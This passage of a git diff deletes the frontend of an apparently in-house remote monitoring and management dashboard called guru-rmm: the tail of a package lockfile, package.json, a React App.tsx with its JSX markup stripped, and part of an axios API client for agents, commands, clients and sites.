"https://registry.npmjs.org/react-is/-/react-is-19.2.3.tgz", - "integrity": "sha512-qJNJfu81ByyabuG7hPFEbXqNcWSU3+eVus+KJs+0ncpGfMyYdvSmxiJxbWR65lYi1I+/0HBcliO029gc4F+PnA==", - "license": "MIT", - "peer": true - }, - "node_modules/react-redux": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", - "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", - "license": "MIT", - "peer": true, - "dependencies": { - "@types/use-sync-external-store": "^0.0.6", - "use-sync-external-store": "^1.4.0" - }, - "peerDependencies": { - "@types/react": "^18.2.25 || ^19", - "react": "^18.0 || ^19", - "redux": "^5.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "redux": { - "optional": true - } - } - }, - "node_modules/react-refresh": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", - "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-router": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.10.1.tgz", - "integrity": "sha512-gHL89dRa3kwlUYtRQ+m8NmxGI6CgqN+k4XyGjwcFoQwwCWF6xXpOCUlDovkXClS0d0XJN/5q7kc5W3kiFEd0Yw==", - "license": "MIT", - "dependencies": { - "cookie": "^1.0.1", - "set-cookie-parser": "^2.6.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - } - } - }, - "node_modules/react-router-dom": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.10.1.tgz", - "integrity": "sha512-JNBANI6ChGVjA5bwsUIwJk7LHKmqB4JYnYfzFwyp2t12Izva11elds2jx7Yfoup2zssedntwU0oZ5DEmk5Sdaw==", - "license": "MIT", - "dependencies": { - "react-router": "7.10.1" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/recharts": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.6.0.tgz", - "integrity": "sha512-L5bjxvQRAe26RlToBAziKUB7whaGKEwD3znoM6fz3DrTowCIC/FnJYnuq1GEzB8Zv2kdTfaxQfi5GoH0tBinyg==", - "license": "MIT", - "workspaces": [ - "www" - ], - "dependencies": { - "@reduxjs/toolkit": "1.x.x || 2.x.x", - "clsx": "^2.1.1", - "decimal.js-light": "^2.5.1", - "es-toolkit": "^1.39.3", - "eventemitter3": "^5.0.1", - "immer": "^10.1.1", - "react-redux": "8.x.x || 9.x.x", - "reselect": "5.1.1", - "tiny-invariant": "^1.3.3", - "use-sync-external-store": "^1.2.2", - "victory-vendor": "^37.0.2" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/redux": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", - "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", - "license": "MIT", - "peer": true - }, - "node_modules/redux-thunk": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", - "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", - "license": "MIT", - "peerDependencies": { - "redux": "^5.0.0" - } - }, - "node_modules/reselect": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", - "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==", - "license": "MIT" - }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/rollup": { - "version": "4.53.3", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.3.tgz", - "integrity": "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.53.3", - "@rollup/rollup-android-arm64": "4.53.3", - "@rollup/rollup-darwin-arm64": "4.53.3", - "@rollup/rollup-darwin-x64": "4.53.3", - "@rollup/rollup-freebsd-arm64": "4.53.3", - "@rollup/rollup-freebsd-x64": "4.53.3", - "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", - "@rollup/rollup-linux-arm-musleabihf": "4.53.3", - "@rollup/rollup-linux-arm64-gnu": "4.53.3", - "@rollup/rollup-linux-arm64-musl": "4.53.3", - "@rollup/rollup-linux-loong64-gnu": "4.53.3", - "@rollup/rollup-linux-ppc64-gnu": "4.53.3", - "@rollup/rollup-linux-riscv64-gnu": "4.53.3", - "@rollup/rollup-linux-riscv64-musl": "4.53.3", - "@rollup/rollup-linux-s390x-gnu": "4.53.3", - "@rollup/rollup-linux-x64-gnu": "4.53.3", - "@rollup/rollup-linux-x64-musl": "4.53.3", - "@rollup/rollup-openharmony-arm64": "4.53.3", - "@rollup/rollup-win32-arm64-msvc": "4.53.3", - "@rollup/rollup-win32-ia32-msvc": "4.53.3", - "@rollup/rollup-win32-x64-gnu": "4.53.3", - "@rollup/rollup-win32-x64-msvc": "4.53.3", - "fsevents": "~2.3.2" - } - }, - "node_modules/scheduler": { - "version": "0.27.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - "license": "MIT" - }, - "node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/set-cookie-parser": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - "license": "MIT" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/tailwind-merge": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.4.0.tgz", - "integrity": "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/dcastil" - } - }, - "node_modules/tailwindcss": { - "version": "4.1.18", - "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", - "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", - "dev": true, - "license": "MIT" - }, - "node_modules/tapable": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", - "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/tiny-invariant": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", - "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", - "license": "MIT" - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/ts-api-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", - "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "peer": true, - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-eslint": { - "version": "8.49.0", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.49.0.tgz", - "integrity": "sha512-zRSVH1WXD0uXczCXw+nsdjGPUdx4dfrs5VQoHnUWmv1U3oNlAKv4FUNdLDhVUg+gYn+a5hUESqch//Rv5wVhrg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/eslint-plugin": "8.49.0", - "@typescript-eslint/parser": "8.49.0", - "@typescript-eslint/typescript-estree": "8.49.0", - "@typescript-eslint/utils": "8.49.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT" - }, - "node_modules/update-browserslist-db": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.2.tgz", - "integrity": "sha512-E85pfNzMQ9jpKkA7+TJAi4TJN+tBCuWh5rUcS/sv6cFi+1q9LYDwDI5dpUL0u/73EElyQ8d3TEaeW4sPedBqYA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/use-sync-external-store": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", - "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/victory-vendor": { - "version": "37.3.6", - "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", - "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", - "license": "MIT AND ISC", - "dependencies": { - "@types/d3-array": "^3.0.3", - "@types/d3-ease": "^3.0.0", - "@types/d3-interpolate": "^3.0.1", - "@types/d3-scale": "^4.0.2", - "@types/d3-shape": "^3.1.0", - "@types/d3-time": "^3.0.0", - "@types/d3-timer": "^3.0.0", - "d3-array": "^3.1.6", - "d3-ease": "^3.0.1", - "d3-interpolate": "^3.0.1", - "d3-scale": "^4.0.2", - "d3-shape": "^3.1.0", - "d3-time": "^3.0.0", - "d3-timer": "^3.0.1" - } - }, - "node_modules/vite": { - "version": "7.2.7", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.2.7.tgz", - "integrity": "sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "esbuild": "^0.25.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true, - "license": "ISC" - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.1.13", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.13.tgz", - "integrity": "sha512-AvvthqfqrAhNH9dnfmrfKzX5upOdjUVJYFqNSlkmGf64gRaTzlPwz99IHYnVs28qYAybvAlBV+H7pn0saFY4Ig==", - "dev": true, - "license": "MIT", - "peer": true, - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-validation-error": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", - "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - } - } - } -} diff --git a/projects/msp-tools/guru-rmm/dashboard/package.json b/projects/msp-tools/guru-rmm/dashboard/package.json deleted file mode 100644 index 4f6bce2..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/package.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "name": "dashboard", - "private": true, - "version": "0.2.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc -b && vite build", - "lint": "eslint .", - "preview": "vite preview" - }, - "dependencies": { - "@tanstack/react-query": "^5.90.12", - "axios": "^1.13.2", - "clsx": "^2.1.1", - "lucide-react": "^0.561.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-router-dom": "^7.10.1", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@tailwindcss/vite": "^4.1.18", - "@types/node": "^24.10.1", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.22", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^4.1.18", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } -} diff --git a/projects/msp-tools/guru-rmm/dashboard/public/vite.svg b/projects/msp-tools/guru-rmm/dashboard/public/vite.svg deleted file mode 100644 index e7b8dfb..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/public/vite.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/projects/msp-tools/guru-rmm/dashboard/src/App.tsx b/projects/msp-tools/guru-rmm/dashboard/src/App.tsx deleted file mode 100644 index a04070b..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/src/App.tsx +++ /dev/null @@ -1,161 +0,0 @@ -import { BrowserRouter, Routes, Route, Navigate } from "react-router-dom"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { AuthProvider, useAuth } from "./hooks/useAuth"; -import { Layout } from "./components/Layout"; -import { Login } from "./pages/Login"; -import { Register } from "./pages/Register"; -import { Dashboard } from "./pages/Dashboard"; -import { Clients } from "./pages/Clients"; -import { Sites } from "./pages/Sites"; -import { Agents } from "./pages/Agents"; -import { AgentDetail } from "./pages/AgentDetail"; -import { History, HistoryDetail } from "./pages/History"; -import { Settings } from "./pages/Settings"; -import "./index.css"; - -const queryClient = new QueryClient({ - defaultOptions: { - queries: { - staleTime: 1000 * 60, - retry: 1, - }, - }, -}); - -function ProtectedRoute({ children }: { children: React.ReactNode }) { - const { user, isLoading } = useAuth(); - - if (isLoading) { - return ( -
-

Loading...

-
- ); - } - - if (!user) { - return ; - } - - return {children}; -} - -function PublicRoute({ children }: { children: React.ReactNode }) { - const { user, isLoading } = useAuth(); - - if (isLoading) { - return ( -
-

Loading...

-
- ); - } - - if (user) { - return ; - } - - return <>{children}; -} - -function AppRoutes() { - return ( - - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - - - - } - /> - } /> - - ); -} - -function App() { - return ( - - - - - - - - ); -} - -export default App; diff --git a/projects/msp-tools/guru-rmm/dashboard/src/api/client.ts b/projects/msp-tools/guru-rmm/dashboard/src/api/client.ts deleted file mode 100644 index 4b72940..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/src/api/client.ts +++ /dev/null @@ -1,250 +0,0 @@ -import axios, { AxiosError } from "axios"; - -// Default to production URL, override with VITE_API_URL for local dev -const API_URL = import.meta.env.VITE_API_URL || "https://rmm-api.azcomputerguru.com"; - -export const api = axios.create({ - baseURL: API_URL, - headers: { - "Content-Type": "application/json", - }, -}); - -// Token management - use sessionStorage (cleared on tab close) instead of localStorage -// This provides better security against XSS attacks as tokens are not persisted -const TOKEN_KEY = "gururmm_auth_token"; - -export const getToken = (): string | null => { - return sessionStorage.getItem(TOKEN_KEY); -}; - -export const setToken = (token: string): void => { - sessionStorage.setItem(TOKEN_KEY, token); -}; - -export const clearToken = (): void => { - sessionStorage.removeItem(TOKEN_KEY); -}; - -// Request interceptor - add auth header -api.interceptors.request.use((config) => { - const token = getToken(); - if (token) { - config.headers.Authorization = `Bearer ${token}`; - } - return config; -}); - -// Response interceptor - handle 401 unauthorized -api.interceptors.response.use( - (response) => response, - (error: AxiosError) => { - if (error.response?.status === 401) { - clearToken(); - // Use a more graceful redirect that preserves SPA state - if (window.location.pathname !== "/login") { - window.location.href = "/login"; - } - } - return Promise.reject(error); - } -); - -// API types -export interface Agent { - id: string; - hostname: string; - os_type: string; - os_version: string | null; - agent_version: string | null; - status: "online" | "offline" | "error"; - last_seen: string | null; - created_at: string; - device_id: string | null; - site_id: string | null; - site_name: string | null; - client_id: string | null; - client_name: string | null; -} - -export interface Metrics { - id: number; - agent_id: string; - timestamp: string; - cpu_percent: number; - memory_percent: number; - memory_used_bytes: number; - disk_percent: number; - disk_used_bytes: number; - network_rx_bytes: number; - network_tx_bytes: number; - // Extended metrics - uptime_seconds?: number; - boot_time?: number; - logged_in_user?: string; - user_idle_seconds?: number; - public_ip?: string; - memory_total_bytes?: number; - disk_total_bytes?: number; -} - -export interface NetworkInterface { - name: string; - mac_address?: string; - ipv4_addresses: string[]; - ipv6_addresses: string[]; -} - -export interface AgentState { - agent_id: string; - network_interfaces?: NetworkInterface[]; - network_state_hash?: string; - uptime_seconds?: number; - boot_time?: number; - logged_in_user?: string; - user_idle_seconds?: number; - public_ip?: string; - network_updated_at?: string; - metrics_updated_at?: string; -} - -export interface Command { - id: string; - agent_id: string; - command_type: string; - command_text: string; - status: "pending" | "running" | "completed" | "failed" | "cancelled"; - exit_code: number | null; - stdout: string | null; - stderr: string | null; - created_at: string; - completed_at: string | null; -} - -export interface User { - id: string; - email: string; - name: string | null; - role: string; -} - -export interface Client { - id: string; - name: string; - code: string | null; - notes: string | null; - is_active: boolean; - created_at: string; - site_count: number; -} - -export interface Site { - id: string; - client_id: string; - client_name: string | null; - name: string; - site_code: string; - address: string | null; - notes: string | null; - is_active: boolean; - created_at: string; - agent_count: number; -} - -export interface CreateSiteResponse { - site: Site; - api_key: string; - message: string; -} - -export interface LoginRequest { - email: string; - password: string; -} - -export interface LoginResponse { - token: string; - user: User; -} - -export interface RegisterRequest { - email: string; - password: string; - name?: string; -} - -// API functions -export const authApi = { - login: async (data: LoginRequest): Promise => { - const response = await api.post("/api/auth/login", data); - if (response.data.token) { - setToken(response.data.token); - } - return response.data; - }, - - register: async (data: RegisterRequest): Promise => { - const response = await api.post("/api/auth/register", data); - if (response.data.token) { - setToken(response.data.token); - } - return response.data; - }, - - me: () => api.get("/api/auth/me"), - - logout: (): void => { - clearToken(); - }, - - isAuthenticated: (): boolean => { - return !!getToken(); - }, -}; - -export const agentsApi = { - list: () => api.get("/api/agents"), - listUnassigned: () => api.get("/api/agents/unassigned"), - get: (id: string) => api.get(`/api/agents/${id}`), - delete: (id: string) => api.delete(`/api/agents/${id}`), - move: (id: string, siteId: string | null) => - api.post(`/api/agents/${id}/move`, { site_id: siteId }), - getMetrics: (id: string, hours?: number) => - api.get(`/api/agents/${id}/metrics`, { params: { hours } }), - getState: (id: string) => api.get(`/api/agents/${id}/state`), -}; - -export const commandsApi = { - send: (agentId: string, command: { command_type: string; command: string }) => - api.post(`/api/agents/${agentId}/command`, command), - list: () => api.get("/api/commands"), - get: (id: string) => api.get(`/api/commands/${id}`), - cancelCommand: (id: string) => - api.post<{ status: string; message: string }>(`/api/commands/${id}/cancel`), - deleteCommand: (id: string) => api.delete(`/api/commands/${id}`), - clearCommandHistory: () => - api.delete<{ deleted: number; message: string }>("/api/commands"), -}; - -export const clientsApi = { - list: () => api.get("/api/clients"), - get: (id: string) => api.get(`/api/clients/${id}`), - create: (data: { name: string; code?: string; notes?: string }) => - api.post("/api/clients", data), - update: (id: string, data: { name?: string; code?: string; notes?: string; is_active?: boolean }) => - api.put(`/api/clients/${id}`, data), - delete: (id: string) => api.delete(`/api/clients/${id}`), -}; - -export const sitesApi = { - list: () => api.get("/api/sites"), - get: (id: string) => 